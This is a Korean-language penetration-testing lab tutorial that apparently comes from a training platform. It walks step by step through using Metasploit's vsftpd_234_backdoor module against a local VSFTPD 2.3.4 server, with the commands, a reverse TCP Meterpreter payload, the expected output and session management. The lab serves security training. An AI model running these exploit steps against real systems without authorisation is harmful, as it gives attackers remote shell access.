소개
Metasploit을 활용한 모의 해킹의 세계에 오신 것을 환영합니다! Metasploit Framework는 사이버 보안 전문가들이 네트워크와 서버의 취약점을 탐색하는 데 사용하는 강력한 오픈 소스 도구입니다.
이번 실습에서는 고전적이고 직관적인 익스플로잇 과정을 살펴봅니다. 실습 환경에는 VSFTPD(Very Secure FTP Daemon) 2.3.4 버전이 실행 중인 서버가 준비되어 있습니다. 이 특정 버전에는 소스 코드에 은밀하게 삽입된 유명한 백도어가 포함되어 있습니다.
여러분의 목표는 Metasploit 콘솔(msfconsole)을 사용하여 이 서비스에 대한 익스플로잇을 찾고, 구성하고, 실행하여 대상 시스템의 명령 셸을 획득하는 것입니다. 이 실습을 통해 Metasploit을 사용한 기본적인 익스플로잇 실행 워크플로우를 익힐 수 있습니다.
시작해 봅시다!
use exploit/unix/ftp/vsftpd_234_backdoor를 사용하여 취약한 서비스 익스플로잇 선택
이 단계에서는 Metasploit 콘솔을 실행하고 VSFTPD 2.3.4 백도어에 적합한 익스플로잇 모듈을 선택합니다. msfconsole은 Metasploit Framework의 기본 인터페이스입니다.
먼저 Metasploit 콘솔을 시작합니다. 배너를 건너뛰고 빠르게 시작하기 위해 -q (quiet) 플래그를 사용합니다.
msfconsole -q
콘솔이 로드되면 프롬프트가 msf >로 변경됩니다. 이제 Metasploit에 사용할 익스플로잇을 지정해야 합니다. use 명령은 특정 모듈을 로드합니다. VSFTPD 2.3.4 백도어용 모듈은 exploit/unix/ftp/vsftpd_234_backdoor에 위치해 있습니다.
Metasploit 콘솔에서 다음 명령을 실행하세요:
use exploit/unix/ftp/vsftpd_234_backdoor
명령을 실행한 후 프롬프트에 선택한 익스플로잇 모듈의 이름이 포함되는 것을 확인할 수 있습니다. 이는 모듈이 활성화되어 구성할 준비가 되었음을 의미합니다.
Metasploit 버전에 따라 기본 페이로드가 자동으로 선택될 수 있습니다(예: cmd/linux/http/x86/meterpreter_reverse_tcp). 이 페이로드는 다음 두 가지 설정이 필요합니다:
- LHOST - Metasploit이 리버스 연결을 대기할 IP입니다. 이번 실습에서는
127.0.0.1을 사용하세요:
set LHOST 127.0.0.1
- Encoder - 기본 인코더는 "All encoders failed to encode" 오류와 함께 실패할 수 있습니다. 인코딩을 피하기 위해 인코더를
generic/none으로 설정하세요:
set Encoder generic/none
set RHOSTS target_ip를 사용하여 대상 IP 설정
이 단계에서는 대상 호스트의 IP 주소를 설정하여 익스플로잇을 구성합니다. 대부분의 Metasploit 모듈은 대상을 지정해야 합니다. 원격 대상 호스트를 위한 옵션은 RHOSTS입니다.
취약한 FTP 서비스가 현재 여러분이 작업 중인 머신(실습 환경)에서 실행되고 있으므로, 루프백 IP 주소인 127.0.0.1을 사용할 수 있습니다.
이 옵션을 설정하려면 set 명령 뒤에 옵션 이름(RHOSTS)과 값(127.0.0.1)을 입력하세요.
msfconsole에 다음 명령을 입력하세요:
set RHOSTS 127.0.0.1
Metasploit은 옵션과 새로운 값을 출력하여 설정을 확인해 줍니다.
RHOSTS => 127.0.0.1
이제 Metasploit에 공격 방향을 지시했습니다.
show options를 사용하여 익스플로잇 옵션 확인
이 단계에서는 익스플로잇을 실행하기 전에 필요한 모든 옵션이 올바르게 설정되었는지 확인합니다. 이는 익스플로잇이 제대로 구성되었는지 확인하기 위한 중요한 모범 사례입니다.
show options 명령은 현재 로드된 모듈의 모든 구성 가능한 옵션, 현재 설정값, 그리고 필수 여부를 표시합니다.
msfconsole에서 다음 명령을 실행하세요:
show options
모듈 옵션과 페이로드 옵션이 나열된 표를 볼 수 있습니다.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
출력을 확인하세요. RHOSTS가 127.0.0.1이고 LHOST가 127.0.0.1인지 확인합니다. RPORT는 21(FTP)입니다. 모든 필수 옵션이 설정되었으므로 다음 단계로 진행할 준비가 되었습니다.
exploit 명령어로 익스플로잇 실행하기
이제 익스플로잇 설정이 완료되었으므로, 타겟을 대상으로 공격을 실행할 차례입니다. exploit 명령어(줄여서 run으로 사용 가능)는 현재 설정된 모듈과 옵션을 기반으로 공격을 시작합니다.
다음 명령어를 입력하고 Enter를 눌러 익스플로잇을 실행하세요:
exploit
문제 해결(TROUBLESHOOTING):
Msf::OptionValidateError One or more options failed to validate: LHOST오류가 발생하면set LHOST 127.0.0.1을 실행하세요.All encoders failed to encode오류가 발생하면set Encoder generic/none을 실행하여 인코딩을 비활성화한 뒤, 다시exploit을 실행하세요.
경고(WARNING): 첫 번째 시도에서 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 또는 "Exploit completed, but no session was created."와 같은 메시지가 뜨며 실패할 수 있습니다. 이 경우 당황하지 말고
exploit명령어를 다시 한번 실행하세요. 두 번째 시도에서는 성공할 것입니다.
이제 Metasploit이 백도어 공격을 시도합니다. 공격 과정에 대한 상세한 출력 내용이 표시되며, 성공 시 백도어가 트리거되어 Meterpreter 세션이 열립니다.
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
중요: 익스플로잇이 성공하면 Meterpreter 프롬프트로 진입하게 됩니다. 이것이 바로 원격 액세스에 성공했다는 의미입니다! shell을 입력하여 대화형 명령 셸을 실행한 다음, whoami 또는 id 명령어를 통해 액세스 권한을 확인해 보세요:
shell
Process 1234 created.
Channel 1 created.
whoami
labex
축하합니다! 성공적으로 원격 액세스 권한을 획득했습니다.
sessions -l로 세션 확인
이 단계에서는 방금 연 활성 연결(세션)을 관리하는 방법을 배웁니다. Metasploit을 사용하면 여러 세션을 동시에 열고 전환할 수 있습니다.
먼저 세션을 닫지 않고 msfconsole 프롬프트로 돌아가려면 세션을 백그라운드로 보내야 합니다. 키보드에서 Ctrl+Z를 누르세요. 셸 내부(shell 실행 후)에 있다면 y를 입력하여 채널을 백그라운드로 보내면 meterpreter >로 돌아옵니다. 다시 Ctrl+Z를 누르고 세션을 백그라운드로 보낼지 묻는 메시지에 y를 입력하세요:
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
sessions 명령은 Meterpreter 내부가 아닌 메인 Metasploit 프롬프트(msf exploit(...) >)에서만 작동합니다. 이제 메인 Metasploit 프롬프트로 돌아왔습니다. 모든 활성 세션 목록을 보려면 -l (list) 플래그와 함께 sessions 명령을 사용하세요.
sessions -l
ID, 유형, 연결 정보를 포함하여 백그라운드로 보낸 모든 세션의 표가 표시됩니다.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
ID가 1인 세션이 나열된 것을 볼 수 있습니다. 다시 상호작용하려면 sessions -i 1 명령을 사용하면 됩니다. 이러한 세션 관리는 Metasploit의 핵심 기능입니다.
요약
축하합니다! 이번 실습을 성공적으로 완료하고 Metasploit Framework를 사용하여 첫 번째 익스플로잇을 수행했습니다.
이번 실습을 통해 Metasploit을 이용한 모의 해킹의 기본적인 워크플로우를 배웠습니다:
- Metasploit 콘솔(
msfconsole) 시작하기. use명령으로 특정 익스플로잇 모듈 선택하기.set명령으로 모듈의 대상 구성하기.show options로 구성 확인하기.exploit명령으로 공격 시작하기.sessions를 사용하여 결과 연결 관리하기.
이 "선택, 구성, 공격(select, configure, exploit)"의 기본 패턴은 Metasploit 내에서 수행하는 거의 모든 활동의 기초가 됩니다. 이제 더 복잡한 익스플로잇과 페이로드를 탐색할 수 있는 핵심 지식을 갖추게 되었습니다.



